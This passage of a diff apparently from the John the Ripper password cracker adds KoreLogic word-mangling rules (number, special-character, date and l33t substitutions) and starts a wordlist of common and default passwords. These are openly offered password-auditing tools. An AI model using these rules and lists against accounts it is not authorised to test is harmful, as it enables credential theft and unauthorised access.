Az"[a-z][a-z]" +-c <- Az"[A-Z][A-Z]" +-c <- Az"[a-z][A-Z]" +-c <- Az"[A-Z][a-z]" + +# Append numbers - but limit the total length. +;[List.Rules:KoreLogicRulesAddJustNumbers] +-[c:] <* >1 \p[c:] $[0-9] +-[c:] <* >1 \p[c:] ^[0-9] +-[c:] <- >1 \p[c:] Az"[0-9][0-9]" +-[c:] <- >1 \p[c:] A0"[0-9][0-9]" +-[c:] >1 \p[c:] Az"[0-9][0-9][0-9]" <+ +# Redundant with KoreLogicRulesAppend4Num +;-[c:] >1 \p[c:] Az"[0-9][0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesDevProdTestUAT] +-\r[::cc] <* A\p\r[0l0l]"dev" \p\r[::TT]\p\r[::0l] +-\r[::cc] <* A\p\r[0l0l]"uat" \p\r[::TT]\p\r[::0l] +-\r[::cc] <* A\p\r[0l0l]"prod" \p\r[::TT]\p\r[::0l] +-\r[::cc] <* A\p\r[0l0l]"test" \p\r[::TT]\p\r[::0l] + +;[List.Rules:KoreLogicRulesPrependAndAppendSpecial] +-[c:] <- \p[c:] ^[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] + +# Redundant with KoreLogicRulesAddJustNumbers and KoreLogicRulesAppend4Num +;[List.Rules:KoreLogicRulesAppendJustNumbers] +;-[c:] <* \p[c:] $[0-9] +;-[c:] <- \p[c:] Az"[0-9][0-9]" +;-[c:] \p[c:] Az"[0-9][0-9][0-9]" <+ +;-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple] +# cap first letter then add a 0 2 6 9 ! * to the end +-[c:] <* \p[c:] $[0-9!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] +# cap first letter then add a special char - THEN a number !0 %9 !9 etc +-[c:] <- \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9]q +# Cap the first letter - then add 0? 0! 5_ .. 9! +## add NUMBER then SPECIAL 1! .. 9? +-[c:] <- \p[c:] Azq[0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q +## Add Number Number Special +;-[c:] \p[c:] Azq[0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ +## Add Special Number Number +;-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+ +# Add 100! ... 999! to the end +;-[c:] \p[c:] Azq[0-9][0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesAppendJustSpecials] +-[c:] <* \p[c:] $[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] +-[c:] <- \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAddShortMonthsEverywhere] +<* >\r[00123456789] A\p[z0-9]"[jJ][aA][nN]" +<* >\r[00123456789] A\p[z0-9]"[fF][eE][bB]" +<* >\r[00123456789] A\p[z0-9]"[mM][aA][rRyY]" +<* >\r[00123456789] A\p[z0-9]"[aA][pP][rR]" +<* >\r[00123456789] A\p[z0-9]"[jJ][uU][nNlL]" +<* >\r[00123456789] A\p[z0-9]"[aA][uU][gG]" +<* >\r[00123456789] A\p[z0-9]"[sS][eE][pP]" +<* >\r[00123456789] A\p[z0-9]"[oO][cC][tT]" +<* >\r[00123456789] A\p[z0-9]"[nN][oO][vV]" +<* >\r[00123456789] A\p[z0-9]"[dD][eE][cC]" + +# this will add the string '2010' at all places in the word: +# USE this with a 4 or 5 char dictionary file with ALL characters +# soo abcde will become +# 2010abcde a2010bcde ab2010cde acd2010de abcd2010e abcde2010 +;[List.Rules:KoreLogicRulesAdd2010Everywhere] +<* >\r[00123456789] A\p[z0-9]"201[0-9]" + +;[List.Rules:KoreLogicRulesAdd1234_Everywhere] +<* >\r[00123456789] A\p[z0-9]"1234" + +;[List.Rules:KoreLogicRulesAppendMonthDay] +-[:c] <* Az"\p[jJ]anuary" +-[:c] Az"\p[jJ]anuary[0-9]" <+ +-[:c] Az"\p[jJ]anuary[0-9][0-9]" <+ +-[:c] <* Az"\p[fF]ebruary" +-[:c] Az"\p[fF]ebruary[0-9]" <+ +-[:c] Az"\p[fF]ebruary[0-9][0-9]" <+ +-[:c] Az"\p[mM]arch" +-[:c] Az"\p[mM]arch[0-9]" <+ +-[:c] Az"\p[mM]arch[0-9][0-9]" <+ +-[:c] <* Az"\p[aA]pril" +-[:c] Az"\p[aA]pril[0-9]" <+ +-[:c] Az"\p[aA]pril[0-9][0-9]" <+ +-[:c] <* Az"\p[mM]ay" +-[:c] Az"\p[mM]ay[0-9]" <+ +-[:c] Az"\p[mM]ay[0-9][0-9]" <+ +-[:c] <* Az"\p[jJ]une" +-[:c] Az"\p[jJ]une[0-9]" <+ +# There was a typo in Kore's original revision of this rule +-[:c] Az"\p[jJ]une[0-9][0-9]" <+ +-[:c] <* Az"\p[jJ]uly" +-[:c] Az"\p[jJ]uly[0-9]" <+ +-[:c] Az"\p[jJ]uly[0-9][0-9]" <+ +-[:c] <* Az"\p[aA]ugust" +-[:c] Az"\p[aA]ugust[0-9]" <+ +-[:c] Az"\p[aA]ugust[0-9][0-9]" <+ +-[:c] <* Az"\p[sS]eptember" +-[:c] Az"\p[sS]eptember[0-9]" <+ +# There was a typo in Kore's original revision of this rule +-[:c] Az"\p[sS]eptember[0-9][0-9]" <+ +-[:c] <* Az"\p[oO]ctober" +-[:c] Az"\p[oO]ctober[0-9]" <+ +-[:c] Az"\p[oO]ctober[0-9][0-9]" <+ +-[:c] <* Az"\p[nN]ovember" +-[:c] Az"\p[nN]ovember[0-9]" <+ +-[:c] Az"\p[nN]ovember[0-9][0-9]" <+ +-[:c] <* Az"\p[dD]ecember" +-[:c] Az"\p[dD]ecember[0-9]" <+ +-[:c] Az"\p[dD]ecember[0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendMonthCurrentYear] +-[:c] <* Az"\p[jJ]an201[0-9]" +-[:c] <* Az"\p[fF]eb201[0-9]" +-[:c] <* Az"\p[mM]ar201[0-9]" +-[:c] <* Az"\p[aA]pr201[0-9]" +-[:c] <* Az"\p[mM]ay201[0-9]" +-[:c] <* Az"\p[jJ]un201[0-9]" +-[:c] <* Az"\p[jJ]ul201[0-9]" +-[:c] <* Az"\p[Aa]ug201[0-9]" +-[:c] <* Az"\p[sS]ep201[0-9]" +-[:c] <* Az"\p[oO]ct201[0-9]" +-[:c] <* Az"\p[nN]ov201[0-9]" +-[:c] <* Az"\p[Dd]ec201[0-9]" + +;[List.Rules:KoreLogicRulesReplaceNumbers2Special] +/[1-90] s\0\p[!@#$%^&*()] +/1 /[2-90] s1! s\0\p[@#$%^&*()] +/2 /[3-90] s2@ s\0\p[#$%^&*()] +/3 /[4-90] s3# s\0\p[$%^&*()] +/4 /[5-90] s4$ s\0\p[%^&*()] +/5 /[6-90] s5% s\0\p[^&*()] +/6 /[7-90] s6^ s\0\p[&*()] +/7 /[890] s7& s\0\p[*()] +/8 /[90] s8* s\0\p[()] +/9 /0 s9( s0) + +;[List.Rules:KoreLogicRulesReplaceNumbers] +/0 s0[1-9] +/1 s1[02-9] +/2 s2[013-9] +/3 s3[0-24-9] +/4 s4[0-35-9] +/5 s5[0-46-9] +/6 s6[0-57-9] +/7 s7[0-68-9] +/8 s8[0-79] +/9 s9[0-8] +# 10 lines above can be replaced with just one: +# /[0-9] s\0[0-9] Q +# but it's slower (generates, then rejects some duplicates). + +# This is a lamer/faster version of --rules:nt +;[List.Rules:KoreLogicRulesReplaceLettersCaps] +-c /[a-z] s\0\p[A-Z] + +;[List.Rules:KoreLogicRulesAddDotCom] +-[c:] <- \p[c:] Az".com" +-[c:] <- \p[c:] Az".net" +-[c:] <- \p[c:] Az".org" + +;[List.Rules:KoreLogicRulesPrependJustSpecials] +-[c:] \p[c:] ^[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] +-[c:] \p[c:] A0q[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAppend1_AddSpecialEverywhere] +-[c:] >4 <- \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $1 +-[c:] >[5-8] <- \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $1 + +;[List.Rules:KoreLogicRulesAppendNum_AddSpecialEverywhere] +# This should probably use $[02-9] since we try $1 in +# KoreLogicRulesAppend1_AddSpecialEverywhere +-[c:] >4 <- \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[0-9] +-[c:] >[5-8] <- \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[0-9] + +;[List.Rules:KoreLogicRulesAppendNumNum_AddSpecialEverywhere] +-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9]" <+ +-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendNumNumNum_AddSpecialEverywhere] +-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9][0-9]" <+ +-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendYears_AddSpecialEverywhere] +-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"19[4-9][0-9]" <+ +-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"20[0-1][0-9]" <+ +-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"19[4-9][0-9]" <+ +-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"20[0-1][0-9]" <+ + +# This rule needs work actually --- you have to 'sort -u' its output rick +# /a = reject if it doesnt have an 'a' +# the [:c] does waste some effort - and generate dupes. This is wasteful, +# but I want to keep it in b/c the original crack/JtR rules use it. +;[List.Rules:KoreLogicRulesL33t] +-[:c] /\r[aaAAbBeEiiiIIIllll] s\0\r\p[@44@88331!|1!|17|!] \p1[:M] \p1[:c] \p1[:Q] +# The following line differs from Kore's erroneous 4 lines: +-[:c] /\r[LLLL] s\0\r\p[17|!] \p1[:M] \p1[:c] \p1[:Q] +#/Lsl1[:c] +#/Lsl7[:c] +#/Lsl|[:c] +#/Lsl![:c] +-[:c] /\r[oOssSStT1111003344557788] s\0\r\p[00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Full set (same as above, but on one line): +#-[:c] /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] s\0\r\p[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Double substitutions start here. +# Compared to Kore's, we check for both chars first, then replace both. +# This produces different results from Kore's, which would replace all +# instances of the first char before checking for the second. +# Kore's behavior may be restored by moving "sa[@4]" to be right after "/a" +# on the line below, and ditto for further lines. +-[:c] /a /\r[AAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] sa[@4] s\2\r\p2[4@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Kore had these (probably unintentionally, so we don't duplicate them): +#/asa4/4s4a[:c] +#/asa4/4s4A[:c] +-[:c] /A /\r[aabBeEiiiIIIllllLLLLoOssSStT1111003344557788] sA4 s\0\r\p[@488331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Kore also had these, but (intentionally?) missed sb8 on this set (after sA4) +#/AsA4/4s4a[:c] +#/AsA4/4s4A[:c] +-[:c] /b /\r[aaAABeEiiiIIIllllLLLLoOssSStT1111003344557788] sb8 s\0\r\p[@44@8331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /B /\r[aaAAbeEiiiIIIllllLLLLoOssSStT1111003344557788] sB8 s\0\r\p[@44@8331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /e /\r[aaAAbBEiiiIIIllllLLLLoOssSStT1111003344557788] se3 s\0\r\p[@44@8831!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /E /\r[aaAAbBeiiiIIIllllLLLLoOssSStT1111003344557788] sE3 s\0\r\p[@44@8831!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /i /\r[aaAAbBeEIIIllllLLLLoOssSStT1111003344557788] si[1!|] s\2\r\p2[@44@88331!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /I /\r[aaAAbBeEiiillllLLLLoOssSStT1111003344557788] sI[1!|] s\2\r\p2[@44@88331!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Kore's rules only included sl[17|], but not sl! +-[:c] /l /\r[aaAAbBeEiiiIIILLLLoOssSStT1111003344557788] sl[17|!] s\2\r\p2[@44@88331|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# All "/L" rules (171 lines) were buggy +-[:c] /L /\r[aaAAbBeEiiiIIIlllloOssSStT1111003344557788] sl[17|!] s\2\r\p2[@44@88331|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /o /\r[aaAAbBeEiiiIIIllllLLLLOssSStT1111003344557788] so0 s\0\r\p[@44@88331!|1!|17|!17|!0$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /O /\r[aaAAbBeEiiiIIIllllLLLLossSStT1111003344557788] sO0 s\0\r\p[@44@88331!|1!|17|!17|!0$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /s /\r[aaAAbBeEiiiIIIllllLLLLoOSStT1111003344557788] ss[$5] s\2\r\p2[@44@88331!|1!|17|!17|!00$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /S /\r[aaAAbBeEiiiIIIllllLLLLoOsstT1111003344557788] sS[$5] s\2\r\p2[@44@88331!|1!|17|!17|!00$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /t /\r[aaAAbBeEiiiIIIllllLLLLoOssSST1111003344557788] st+ s\0\r\p[@44@88331!|1!|17|!17|!00$5$5+!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /T /\r[aaAAbBeEiiiIIIllllLLLLoOssSSt1111003344557788] sT+ s\0\r\p[@44@88331!|1!|17|!17|!00$5$5+!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /1 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT003344557788] s1[!iI|] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /0 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11113344557788] s0[oO] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|eEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /3 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110044557788] s3[eE] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +#-[:c] /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] s\0\r\p[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /4 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033557788] s4[aA] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /5 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033447788] s5[sS] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /7 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033445588] s7[lL] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /8 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033445577] s8[bB] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlL] \p1[:M] \p1[:c] \p1[:Q] +# These are some popular triple/quad l33t rules +-[:c] /a /e /[los] sa4 se3 s\0\p[10$] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /[ae] /l /[os] s\2\p2[43] sl1 s\3\p3[0$] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /[ae] /o /s s\2\p2[43] so0 ss$ \p1[:M] \p1[:c] \p1[:Q] +-[:c] /l /o /s sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q] +-[:c] /a /e /l /[os] sa4 se3 sl1 s\0\p[0$] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /a /[el] /o /s sa4 s\0\p[31] so0 ss$ \p1[:M] \p1[:c] \p1[:Q] +-[:c] /e /l /o /s se3 sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q] +-[:c] /a /e /l /o /s sa4 se3 sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q] + +;[List.Rules:KoreLogicRulesReplaceSpecial2Special] +# Kore's rules were missing "*" +/! s![@#$%^&*()\-=_+\\|;:'",./?><] +/@ s@[!#$%^&*()\-=_+\\|;:'",./?><] +/# s#[!@$%^&*()\-=_+\\|;:'",./?><] +/$ s$[!@#%^&*()\-=_+\\|;:'",./?><] +/% s%[!@#$^&*()\-=_+\\|;:'",./?><] +/^ s^[!@#$%&*()\-=_+\\|;:'",./?><] +/& s&[!@#$%^*()\-=_+\\|;:'",./?><] +/( s([!@#$%^&*)\-=_+\\|;:'",./?><] +/) s([!@#$%^&*(\-=_+\\|;:'",./?><] +# Kore's ruleset erroneously had: +#/-s-- +/- s-[!@#$%^&*()=_+\\|;:'",./?><] +/= s=[!@#$%^&*()\-_+\\|;:'",./?><] +/_ s_[!@#$%^&*()\-=+\\|;:'",./?><] +/+ s+[!@#$%^&*()\-=_\\|;:'",./?><] +# Kore's rules did not replace backslash +/\\ s\\[!@#$%^&*()\-=_+|;:'",./?><] +/| s|[!@#$%^&*()\-=_+\\;:'",./?><] +/; s;[!@#$%^&*()\-=_+\\|:'",./?><] +/: s:[!@#$%^&*()\-=_+\\|;'",./?><] +/' s'[!@#$%^&*()\-=_+\\|;:",./?><] +/" s"[!@#$%^&*()\-=_+\\|;:',./?><] +/, s,[!@#$%^&*()\-=_+\\|;:'"./?><] +/. s.[!@#$%^&*()\-=_+\\|;:'",/?><] +// s/[!@#$%^&*()\-=_+\\|;:'",.?><] +/> s>[!@#$%^&*()\-=_+\\|;:'",./?<] +/< s<[!@#$%^&*()\-=_+\\|;:'",./?>] + +;[List.Rules:KoreLogicRulesReplaceLetters] +/a sa[b-z] +/b sb[ac-z] +/c sc[abd-z] +/d sd[a-ce-z] +/e se[a-df-z] +/f sf[a-eg-z] +/g sg[a-fh-z] +/h sh[a-gi-z] +/i si[a-hj-z] +/j sj[a-ik-z] +/k sk[a-jl-z] +/l sl[a-km-z] +/m sm[a-ln-z] +/n sn[a-mo-z] +/o so[a-np-z] +/p sp[a-oq-z] +/q sq[a-pr-z] +/r sr[a-qs-z] +/s ss[a-rt-z] +/t st[a-su-z] +/u su[a-tv-z] +/v sv[a-uw-z] +/w sw[a-vx-z] +/x sx[a-wyz] +/y sy[a-xz] +# Kore's ruleset was truncated after "/zszr" +/z sz[a-y] +-c /[a-z] s\0[A-Z] + +;[List.Rules:KoreLogicRulesAppendSpecialNumberNumber] +-[c:] \p[c:] Az"[!$@#%.][0-9][0-9]" <+ +-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesPrependNumNumAppendSpecial] +-[c:] \p[c:] A0"[0-9][0-9]" <* $[!$@#%.] +-[c:] \p[c:] A0"[0-9][0-9]" <* $[^&()_+\-={}|[\]\\;'":,/<>?`~*] + +;[List.Rules:KoreLogicRulesPrependNumNumSpecial] +-[c:] \p[c:] A0"[0-9][0-9][!$@#%.]" +-[c:] \p[c:] A0q[0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAppend2NumSpecial] +-[c:] \p[c:] Az"[0-9][0-9][!$@#%.]" <+ +-[c:] \p[c:] Azq[0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependDaysWeek] +A0"[Mm][oO0][nN][dD][aA4@][yY]" +A0"[Tt][uU][eE3][sS$][dD][aA4@][yY]" +A0"[Ww][eE3][dD][nN][eE3][sS$][dD][aA4@][yY]" +A0"[Tt][hH][uU][rR][sS$][dD][aA4@][yY]" +A0"[Ff][rR][iI1!][dD][aA4@][yY]" +A0"[Ss][aA4@][tT+][uU][rR][dD][aA4@][yY]" +A0"[Ss][uU][nN][dD][aA4@][yY]" + +;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple-3] +## Add Number Number Special +-[c:] \p[c:] Azq[0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ +## Add Special Number Number +-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumber] +-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" <* $[0-9] +-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <* $[0-9] + +;[List.Rules:KoreLogicRulesAppend4Num] +-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesPrependNumNumNumNum] +-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" + +;[List.Rules:KoreLogicRulesPrepend2NumbersAppend2Numbers] +-[c:] \p[c:] A0"[0-9][0-9]" <- Az"[0-9][0-9]" + +;[List.Rules:KoreLogicRulesPrependCAPCAPAppendSpecial] +A0"[A-Z][A-Z]" <* $[!$@#%.] +A0"[A-Z][A-Z]" <* $[^&()_+\-={}|[\]\\;'":,/<>?`~*] + +;[List.Rules:KoreLogicRulesAppendSpecialLowerLower] +-[c:] \p[c:] AzQ[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][a-z][a-z]Q <+ + +# The last line of KoreLogicRulesAppendNumbers_and_Specials_Simple +;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple-4] +# Add 100! ... 999! to the end +-[c:] \p[c:] Azq[0-9][0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesAppendSpecial3num] +-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9]" <+ +-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesAppendSpecialNumberNumberNumber] +-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9]" <+ +-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesAppend3NumSpecial] +-[c:] \p[c:] Az"[0-9][0-9][0-9][!$@#%.]" <+ +-[c:] \p[c:] Azq[0-9][0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependNumNum_AppendNumSpecial] +-[c:] \p[c:] A0"[0-9][0-9]" Azq[0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesAppendJustSpecials3Times] +-[c:] \p[c:] Az"[!$@#%.][!$@#%.][!$@#%.]" <+ +-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesAppendCap-Num_or_Special-Twice] +-[c:] \p[c:] Az"[A-Z][0-9][0-9]" <+ +-[c:] \p[c:] Azq[A-Z][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9]q <+ +-[c:] \p[c:] Azq[A-Z][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ +-[c:] \p[c:] Azq[A-Z][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumbersNumber] +-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" <- Az"[0-9][0-9]" +-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <- Az"[0-9][0-9]" + +;[List.Rules:KoreLogicRulesAppend5Num] +-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendSpecial4num] +-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9][0-9]" <+ +-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesPrepend4NumAppendSpecial] +-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" <- $[!$@#%.] +-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" <- Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAppend4NumSpecial] +-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][!$@#%.]" <+ +-[c:] \p[c:] Azq[0-9][0-9][0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumbersNumberNumber] +-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" Az"[0-9][0-9][0-9]" <+ +-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q Az"[0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppend6Num] +-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][0-9][0-9]" <+ \ No newline at end of file diff --git a/data/john/wordlists/common_roots.txt b/data/john/wordlists/common_roots.txt new file mode 100644 index 0000000000..a2f113b3b1 --- /dev/null +++ b/data/john/wordlists/common_roots.txt @@ -0,0 +1,4724 @@ + +!1qwerty +!@#QWE123qwe +!Q2w#E4r +!Q2w3e4r +!QAZ2wsx +!QAZ2wsx#EDC4rfv +!QAZ@WSX3edc4rfv +!admin +!ishtar +!manage +!qaz@wsx +!qazXsw2 +!qwe123 +!root +$SRV +$chwarzepumpe +$rfmngr$ +$secure$ +(random +(unknown) +* +*3noguru +*password +-------- +0 +00 +000 +0000 +00000 +000000 +0000000 +00000000 +0000000000 +007007 +00850085 +010101 +010203 +012012 +012345 +0123456 +0123456789 +012465 +0392a0 +04051995 +0407056 +06061977 +06071992 +080808 +082208 +09090 +098765 +0987654321 +0P3N +0RACLE +0RACLE38 +0RACLE39 +0RACLE8 +0RACLE8I +0RACLE9 +0okmnji9 +1 +10023 +101010 +10101010 +10111011 +10118 +10135 +10143 +10144 +102030 +1020304050 +1064 +11 +111 +1111 +11111 +111111 +1111111 +11111111 +1111111111 +11112222 +1111aa +111222 +112233 +11223344 +116572 +12 +1212 +121212 +12121212 +12201220 +123 +123.com +123123 +123123123 +123132123 +123258 +123321 +1234 +12341 +12341234 +123412345 +12345 +123454321 +123456 +1234567 +12345678 +123456789 +1234567890 +12345678900987654321 +1234567890987654321 +1234567890qwertyuiop +12345678910 +1234567898 +12345678987 +123456789876 +1234567898765 +12345678987654 +123456789876543 +1234567898765432 +12345678987654321 +1234567899 +12345678998 +123456789987 +1234567899876 +12345678998765 +123456789987654 +1234567899876543 +12345678998765432 +123456789987654321 +12345678abc +123456a +1234ABCD +1234Qwer +1234admin +1234qwer! +1234qwer` +123654 +123654789 +123789 +123abc +123cztery +123mudar +123qwe 